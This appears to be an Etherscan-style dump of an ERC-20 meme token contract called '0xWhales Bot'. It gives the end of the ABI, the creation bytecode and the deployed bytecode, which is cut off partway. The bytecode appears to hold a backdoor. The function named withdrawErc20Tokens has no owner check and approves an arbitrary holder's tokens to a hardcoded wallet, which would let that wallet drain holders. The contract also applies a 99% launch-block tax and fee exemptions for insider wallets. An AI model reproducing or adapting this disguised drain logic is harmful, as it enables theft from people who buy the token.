":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uniPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateLimitFeeAmountForSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6009805461ffff60a01b19169055600a80546001600160a01b03199081167343b108dcdd806a8b420942434a9e0a1b7e043fb417909155600b8054909116730c073f38fe5e3601f011b44f12962f56342eeef71790556101a0604052600060a081905260c081905260e0819052610100819052610120819052610140819052610160819052610180819052600c819055600d819055600e819055600f819055601081905560118190556012819055601355348015620000bd57600080fd5b506040518060400160405280600c81526020016b0c1e15da185b195cc8109bdd60a21b8152506040518060400160405280600881526020016730785768616c657360c01b815250816003908162000115919062000725565b50600462000124828262000725565b505050600062000139620004b060201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052620001af90600019620004b4565b506b033b2e3c9fd0803ce80000006064620001cc82600462000807565b620001d8919062000821565b6006556064620001ea82600462000807565b620001f6919062000821565b60075560646200020882600462000807565b62000214919062000821565b6008556127106200022782600162000807565b62000233919062000821565b6014556000600d819055600f819055600e81905562000253818062000844565b6200025f919062000844565b600c5560006011819055601381905560128190556200027f818062000844565b6200028b919062000844565b6010556080516001600160a01b03166000908152601a602081905260408220805460ff1916600190811790915591620002cc6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152601a9093528183208054851660019081179091557f428bdc965569ef4717764ecfd84e88946a9a226b52b813e6ab6a7f46aad86e888054861682179055600b54821684528284208054861682179055600a54909116835290822080549093168117909255601b90620003776005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560805182168152601b9093528183208054851660019081179091557f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d2168480548616821790553084528284208054861682179055600b54821684528284208054861682179055600a54909116835290822080549093168117909255601990620004346005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526019909352818320805485166001908117909155600b54821684528284208054861682179055600a54909116835291208054909216179055620004a93382620004cd565b506200085a565b3390565b6000620004c3338484620005b5565b5060015b92915050565b6001600160a01b038216620005295760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b60025462000538908262000616565b6002556001600160a01b03821660009081526020819052604090205462000560908262000616565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008062000625838562000844565b905083811015620006795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000520565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006ab57607f821691505b602082108103620006cc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200072057600081815260208120601f850160051c81016020861015620006fb5750805b601f850160051c820191505b818110156200071c5782815560010162000707565b5050505b505050565b81516001600160401b0381111562000741576200074162000680565b620007598162000752845462000696565b84620006d2565b602080601f831160018114620007915760008415620007785750858301515b600019600386901b1c1916600185901b1785556200071c565b600085815260208120601f198616915b82811015620007c257888601518255948401946001909101908401620007a1565b5085821015620007e15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004c757620004c7620007f1565b6000826200083f57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004c757620004c7620007f1565b608051612112620008996000396000818161079701528181611aa201528181611b5b01528181611b9701528181611c090152611c6501526121126000f3fe6080604052600436106102345760003560e01c806370a082311161012e578063c0246668116100ab578063eb3252211161006f578063eb3252211461071f578063ef8700e51461074f578063f2fde38b14610765578063f887ea4014610785578063fcb8146e146107b957600080fd5b8063c024666814610657578063cf951fc014610677578063dd62ed3e14610698578063dea9f430146106de578063e16830a8146106ff57600080fd5b806395d89b41116100f257806395d89b41146105cc578063963932b4146105e1578063a457c2d714610601578063a9059cbb14610621578063bbf30a3a1461064157600080fd5b806370a082311461052e578063715018a614610564578063751039fc146105795780637571336a1461058e5780638da5cb5b146105ae57600080fd5b80631f3fed8f116101bc57806341de45a81161018057806341de45a81461046157806349bd5a5e146104775780634fbee193146104af57806366a88d96146104e85780636f895e54146104fe57600080fd5b80631f3fed8f146103da57806323b872dd146103f0578063313ce56714610410578063395093511461042c5780633ccfd60b1461044c57600080fd5b80630b1c7182116102035780630b1c71821461033557806310d5de531461035557806318160ddd146103855780631a8145bb146103a45780631c6e8a75146103ba57600080fd5b806306fdde031461024c57806307980cb914610277578063095ea7b3146102975780630a920f20146102c757600080fd5b366102475730330361024557600080fd5b005b600080fd5b34801561025857600080fd5b506102616107d9565b60405161026e9190611d11565b60405180910390f35b34801561028357600080fd5b50610245610292366004611d77565b61086b565b3480156102a357600080fd5b506102b76102b2366004611d94565b61091a565b604051901515815260200161026e565b3480156102d357600080fd5b50600c54600d54600e54600f546010546011546012546013546102fa979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e08201526101000161026e565b34801561034157600080fd5b50610245610350366004611dd0565b610931565b34801561036157600080fd5b506102b7610370366004611d77565b601a6020526000908152604090205460ff1681565b34801561039157600080fd5b506002545b60405190815260200161026e565b3480156103b057600080fd5b5061039660165481565b3480156103c657600080fd5b506102456103d5366004611e05565b6109f4565b3480156103e657600080fd5b5061039660155481565b3480156103fc57600080fd5b506102b761040b366004611e20565b610a3c565b34801561041c57600080fd5b506040516012815260200161026e565b34801561043857600080fd5b506102b7610447366004611d94565b610aa5565b34801561045857600080fd5b506102b7610adb565b34801561046d57600080fd5b5061039660075481565b34801561048357600080fd5b50600954610497906001600160a01b031681565b6040516001600160a01b03909116815260200161026e565b3480156104bb57600080fd5b506102b76104ca366004611d77565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156104f457600080fd5b5061039660085481565b34801561050a57600080fd5b506102b7610519366004611d77565b601c6020526000908152604090205460ff1681565b34801561053a57600080fd5b50610396610549366004611d77565b6001600160a01b031660009081526020819052604090205490565b34801561057057600080fd5b50610245610b3a565b34801561058557600080fd5b50610245610bae565b34801561059a57600080fd5b506102456105a9366004611dd0565b610bf1565b3480156105ba57600080fd5b506005546001600160a01b0316610497565b3480156105d857600080fd5b50610261610c46565b3480156105ed57600080fd5b506102b76105fc366004611e61565b610c55565b34801561060d57600080fd5b506102b761061c366004611d94565b610c90565b34801561062d57600080fd5b506102b761063c366004611d94565b610cdf565b34801561064d57600080fd5b5061039660065481565b34801561066357600080fd5b50610245610672366004611dd0565b610cec565b34801561068357600080fd5b506009546102b790600160b01b900460ff1681565b3480156106a457600080fd5b506103966106b3366004611e7a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106ea57600080fd5b506009546102b790600160a81b900460ff1681565b34801561070b57600080fd5b5061024561071a366004611dd0565b610d41565b34801561072b57600080fd5b506102b761073a366004611d77565b601b6020526000908152604090205460ff1681565b34801561075b57600080fd5b5061039660175481565b34801561077157600080fd5b50610245610780366004611d77565b610d96565b34801561079157600080fd5b506104977f000000000000000000000000000000000000000000000000000000000000000081565b3480156107c557600080fd5b506102456107d4366004611d94565b610e81565b6060600380546107e890611eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461081490611eb3565b80156108615780601f1061083657610100808354040283529160200191610861565b820191906000526020600020905b81548152906001019060200180831161084457829003601f168201915b5050505050905090565b6005546001600160a01b0316331461089e5760405162461bcd60e51b815260040161089590611eed565b60405180910390fd5b60098054436018556001600160a01b039283166001600160b01b03199091161761010160a01b1780825582166000908152601c60209081526040808320805460ff199081166001908117909255855487168552601a8452828520805482168317905594549095168352601b909152902080549091169091179055565b6000610927338484610e9d565b5060015b92915050565b6005546001600160a01b0316331461095b5760405162461bcd60e51b815260040161089590611eed565b6009546001600160a01b03908116908316036109c95760405162461bcd60e51b815260206004820152602760248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152663ab734a830b4b960c91b6064820152608401610895565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610a1e5760405162461bcd60e51b815260040161089590611eed565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6000610a49848484610eff565b610a9b8433610a96856040518060600160405280602881526020016120b5602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611572565b610e9d565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610927918590610a9690866115ac565b600b5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610b2c576040519150601f19603f3d011682016040523d82523d6000602084013e610b31565b606091505b50909392505050565b6005546001600160a01b03163314610b645760405162461bcd60e51b815260040161089590611eed565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bd85760405162461bcd60e51b815260040161089590611eed565b610be46103e880611612565b610bef6103e861165e565b565b6005546001600160a01b03163314610c1b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6060600480546107e890611eb3565b6005546000906001600160a01b03163314610c825760405162461bcd60e51b815260040161089590611eed565b50601481905560015b919050565b60006109273384610a968560405180606001604052806025815260200161206a602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611572565b6000610927338484610eff565b6005546001600160a01b03163314610d165760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d6b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610dc05760405162461bcd60e51b815260040161089590611eed565b6001600160a01b038116610e255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610895565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a54610e999083906001600160a01b031683611685565b5050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610f1857610f1383836000611690565b505050565b6005546001600160a01b03848116911614801590610f4457506005546001600160a01b03838116911614155b8015610f5a5750600954600160b01b900460ff16155b156111f057600954600160a01b900460ff16610ff4576001600160a01b03831660009081526019602052604090205460ff1680610faf57506001600160a01b03821660009081526019602052604090205460ff165b610ff45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610895565b6001600160a01b0383166000908152601c602052604090205460ff16801561103557506001600160a01b0382166000908152601a602052604090205460ff16155b156110af576006548111156110aa5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610895565b611166565b6001600160a01b0382166000908152601c602052604090205460ff1680156110f057506001600160a01b0383166000908152601a602052604090205460ff16155b15611166576007548111156111665760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610895565b6001600160a01b0382166000908152601b602052604090205460ff166111f0576008546001600160a01b0383166000908152602081905260409020546111ac9083611f38565b11156111f05760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610895565b306000908152602081905260409020546014548110801590819061121d5750600954600160a81b900460ff165b80156112335750600954600160b01b900460ff16155b801561125757506001600160a01b0384166000908152601c602052604090205460ff165b801561127c57506001600160a01b03851660009081526019602052604090205460ff16155b80156112a157506001600160a01b03841660009081526019602052604090205460ff16155b156112cf576009805460ff60b01b1916600160b01b1790556112c161174d565b6009805460ff60b01b191690555b6009546001600160a01b03861660009081526019602052604090205460ff600160b01b90920482161591168061131d57506001600160a01b03851660009081526019602052604090205460ff165b15611326575060005b801561155f5760006018544310156113b15761134e6064611348876063611945565b906119c7565b9050606361135d82605e611f4b565b6113679190611f62565b601560008282546113789190611f38565b909155506063905061138b826005611f4b565b6113959190611f62565b601760008282546113a69190611f38565b909155506115409050565b6001600160a01b0386166000908152601c602052604090205460ff1680156113da575060105415155b15611468576010546113f490606490611348908890611945565b601054601354919250906114089083611f4b565b6114129190611f62565b601660008282546114239190611f38565b90915550506010546011546114389083611f4b565b6114429190611f62565b601560008282546114539190611f38565b909155505060105460125461138b9083611f4b565b6001600160a01b0387166000908152601c602052604090205460ff1680156114915750600c5415155b1561154057600c546114ab90606490611348908890611945565b600c54600f54919250906114bf9083611f4b565b6114c99190611f62565b601660008282546114da9190611f38565b9091555050600c54600d546114ef9083611f4b565b6114f99190611f62565b6015600082825461150a9190611f38565b9091555050600c54600e5461151f9083611f4b565b6115299190611f62565b6017600082825461153a9190611f38565b90915550505b801561155157611551873083611690565b61155b8186611f84565b9450505b61156a868686611690565b505050505050565b600081848411156115965760405162461bcd60e51b81526004016108959190611d11565b5060006115a38486611f84565b95945050505050565b6000806115b98385611f38565b90508381101561160b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610895565b9392505050565b6103e88261161f60025490565b6116299190611f4b565b6116339190611f62565b6006556103e88161164360025490565b61164d9190611f4b565b6116579190611f62565b6007555050565b6103e88161166b60025490565b6116759190611f4b565b61167f9190611f62565b60085550565b610f13838383610e9d565b6116cd8160405180606001604052806026815260200161208f602691396001600160a01b0386166000908152602081905260409020549190611572565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546116fc90826115ac565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ef2565b30600090815260208190526040812054905060006017546015546016546117749190611f38565b61177e9190611f38565b90508160000361178c575050565b60145461179a906023611f4b565b8211156117b2576014546117af906023611f4b565b91505b6000600282601654856117c59190611f4b565b6117cf9190611f62565b6117d99190611f62565b905060006117e78483611a09565b9050476117f382611a4b565b60006117ff4783611a09565b9050600061181c866113486015548561194590919063ffffffff16565b90506000611839876113486017548661194590919063ffffffff16565b905060006118478284611f38565b6118519085611f84565b600060168190556015819055601755479450905086158015906118745750600081115b156118bd576118838782611c03565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b600a546001600160a01b03166108fc6118d68547611f84565b6040518115909202916000818181858888f193505050501580156118fe573d6000803e3d6000fd5b50600b546040516001600160a01b039091169085156108fc029086906000818181858888f19350505050158015611939573d6000803e3d6000fd5b50505050505050505050565b6000826000036119575750600061092b565b60006119638385611f4b565b9050826119708583611f62565b1461160b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610895565b600061160b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ce3565b600061160b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611572565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a8057611a80611f97565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611afe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b229190611fad565b81600181518110611b3557611b35611f97565b60200260200101906001600160a01b031690816001600160a01b031681525050611b80307f000000000000000000000000000000000000000000000000000000000000000084610e9d565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611bd5908590600090869030904290600401611fca565b600060405180830381600087803b158015611bef57600080fd5b505af115801561156a573d6000803e3d6000fd5b611c2e307f000000000000000000000000000000000000000000000000000000000000000084610e9d565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611cb7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611cdc919061203b565b5050505050565b60008183611d045760405162461bcd60e51b81526004016108959190611d11565b5060006115a38486611f62565b600060208083528351808285015260005b81811015611d3e57858101830151858201604001528201611d22565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d7457600080fd5b50565b600060208284031215611d8957600080fd5b813561160b81611d5f565b60008060408385031215611da757600080fd5b8235611db281611d5f565b946020939093013593505050565b80358015158114610c8b57600080fd5b60008060408385031215611de357600080fd5b8235611dee81611d5f565b9150611dfc60208401611dc0565b90509250929050565b600060208284031215611e1757600080fd5b61160b82611dc0565b600080600060608486031215611e3557600080fd5b8335611e4081611d5f565b92506020840135611e5081611d5f565b929592945050506040919091013590565b600060208284031215611e7357600080fd5b5035919050565b60008060408385031215611e8d57600080fd5b8235611e9881611d5f565b91506020830135611ea881611d5f565b809150509250929050565b600181811c90821680611ec757607f821691505b602082108103611ee757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561092b5761092b611f22565b808202811582820484141761092b5761092b611f22565b600082611f7f57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561092b5761092b611f22565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611fbf57600080fd5b815161160b81611d5f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561201a5784516001600160a01b031683529383019391830191600101611ff5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561205057600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eeebf81bc506d85176194c9658b271e43988fb315237c8f53d613b8668117b1464736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102345760003560e01c806370a082311161012e578063c0246668116100ab578063eb3252211161006f578063eb3252211461071f578063ef8700e51461074f578063f2fde38b14610765578063f887ea4014610785578063fcb8146e146107b957600080fd5b8063c024666814610657578063cf951fc014610677578063dd62ed3e14610698578063dea9f430146106de578063e16830a8146106ff57600080fd5b806395d89b41116100f257806395d89b41146105cc578063963932b4146105e1578063a457c2d714610601578063a9059cbb14610621578063bbf30a3a1461064157600080fd5b806370a082311461052e578063715018a614610564578063751039fc146105795780637571336a1461058e5780638da5cb5b146105ae57600080fd5b80631f3fed8f116101bc57806341de45a81161018057806341de45a81461046157806349bd5a5e146104775780634fbee193146104af57806366a88d96146104e85780636f895e54146104fe57600080fd5b80631f3fed8f146103da57806323b872dd146103f0578063313ce56714610410578063395093511461042c5780633ccfd60b1461044c57600080fd5b80630b1c7182116102035780630b1c71821461033557806310d5de531461035557806318160ddd146103855780631a8145bb146103a45780631c6e8a75146103ba57600080fd5b806306fdde031461024c57806307980cb914610277578063095ea7b3146102975780630a920f20146102c757600080fd5b366102475730330361024557600080fd5b005b600080fd5b34801561025857600080fd5b506102616107d9565b60405161026e9190611d11565b60405180910390f35b34801561028357600080fd5b50610245610292366004611d77565b61086b565b3480156102a357600080fd5b506102b76102b2366004611d94565b61091a565b604051901515815260200161026e565b3480156102d357600080fd5b50600c54600d54600e54600f546010546011546012546013546102fa979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e08201526101000161026e565b34801561034157600080fd5b50610245610350366004611dd0565b610931565b34801561036157600080fd5b506102b7610370366004611d77565b601a6020526000908152604090205460ff1681565b34801561039157600080fd5b506002545b60405190815260200161026e565b3480156103b057600080fd5b5061039660165481565b3480156103c657600080fd5b506102456103d5366004611e05565b6109f4565b3480156103e657600080fd5b5061039660155481565b3480156103fc57600080fd5b506102b761040b366004611e20565b610a3c565b34801561041c57600080fd5b506040516012815260200161026e565b34801561043857600080fd5b506102b7610447366004611d94565b610aa5565b34801561045857600080fd5b506102b7610adb565b34801561046d57600080fd5b5061039660075481565b34801561048357600080fd5b50600954610497906001600160a01b031681565b6040516001600160a01b03909116815260200161026e565b3480156104bb57600080fd5b506102b76104ca366004611d77565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156104f457600080fd5b5061039660085481565b34801561050a57600080fd5b506102b7610519366004611d77565b601c6020526000908152604090205460ff1681565b34801561053a57600080fd5b50610396610549366004611d77565b6001600160a01b031660009081526020819052604090205490565b34801561057057600080fd5b50610245610b3a565b34801561058557600080fd5b50610245610bae565b34801561059a57600080fd5b506102456105a9366004611dd0565b610bf1565b3480156105ba57600080fd5b506005546001600160a01b0316610497565b3480156105d857600080fd5b50610261610c46565b3480156105ed57600080fd5b506102b76105fc366004611e61565b610c55565b34801561060d57600080fd5b506102b761061c366004611d94565b610c90565b34801561062d57600080fd5b506102b761063c366004611d94565b610cdf565b34801561064d57600080fd5b5061039660065481565b34801561066357600080fd5b50610245610672366004611dd0565b610cec565b34801561068357600080fd5b506009546102b790600160b01b900460ff1681565b3480156106a457600080fd5b506103966106b3366004611e7a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106ea57600080fd5b506009546102b790600160a81b900460ff1681565b34801561070b57600080fd5b5061024561071a366004611dd0565b610d41565b34801561072b57600080fd5b506102b761073a366004611d77565b601b6020526000908152604090205460ff1681565b34801561075b57600080fd5b5061039660175481565b34801561077157600080fd5b50610245610780366004611d77565b610d96565b34801561079157600080fd5b506104977f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156107c557600080fd5b506102456107d4366004611d94565b610e81565b6060600380546107e890611eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461081490611eb3565b80156108615780601f1061083657610100808354040283529160200191610861565b820191906000526020600020905b81548152906001019060200180831161084457829003601f168201915b5050505050905090565b6005546001600160a01b0316331461089e5760405162461bcd60e51b815260040161089590611eed565b60405180910390fd5b60098054436018556001600160a01b039283166001600160b01b03199091161761010160a01b1780825582166000908152601c60209081526040808320805460ff199081166001908117909255855487168552601a8452828520805482168317905594549095168352601b909152902080549091169091179055565b6000610927338484610e9d565b5060015b92915050565b6005546001600160a01b0316331461095b5760405162461bcd60e51b815260040161089590611eed565b6009546001600160a01b03908116908316036109c95760405162461bcd60e51b815260206004820152602760248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152663ab734a830b4b960c91b6064820152608401610895565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610a1e5760405162461bcd60e51b815260040161089590611eed565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6000610a49848484610eff565b610a9b8433610a96856040518060600160405280602881526020016120b5602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611572565b610e9d565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610927918590610a9690866115ac565b600b5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610b2c576040519150601f19603f3d011682016040523d82523d6000602084013e610b31565b606091505b50909392505050565b6005546001600160a01b03163314610b645760405162461bcd60e51b815260040161089590611eed565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bd85760405162461bcd60e51b815260040161089590611eed565b610be46103e880611612565b610bef6103e861165e565b565b6005546001600160a01b03163314610c1b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6060600480546107e890611eb3565b6005546000906001600160a01b03163314610c825760405162461bcd60e51b815260040161089590611eed565b50601481905560015b919050565b60006109273384610a968560405180606001604052806025815260200161206a602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611572565b6000610927338484610eff565b6005546001600160a01b03163314610d165760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d6b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610dc05760405162461bcd60e51b815260040161089590611eed565b6001600160a01b038116610e255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610895565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a54610e999083906001600160a01b031683611685565b5050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610f1857610f1383836000611690565b505050565b6005546001600160a01b03848116911614801590610f4457506005546001600160a01b03838116911614155b8015610f5a5750600954600160b01b900460ff16155b156111f057600954600160a01b900460ff16610ff4576001600160a01b03831660009081526019602052604090205460ff1680610faf57506001600160a01b03821660009081526019602052604090205460ff165b610ff45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610895565b6001600160a01b0383166000908152601c602052604090205460ff16801561103557506001600160a01b0382166000908152601a602052604090205460ff16155b156110af576006548111156110aa5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610895565b611166565b6001600160a01b0382166000908152601c602052604090205460ff1680156110f057506001600160a01b0383166000908152601a602052604090205460ff16155b15611166576007548111156111665760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610895565b6001600160a01b0382166000908152601b602052604090205460ff166111f0576008546001600160a01b0383166000908152602081905260409020546111ac9083611f38565b11156111f05760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610895565b306000908152602081905260409020546014548110801590819061121d5750600954600160a81b900460ff165b80156112335750600954600160b01b900460ff16155b801561125757506001600160a01b0384166000908152601c602052604090205460ff165b801561127c57506001600160a01b03851660009081526019602052604090205460ff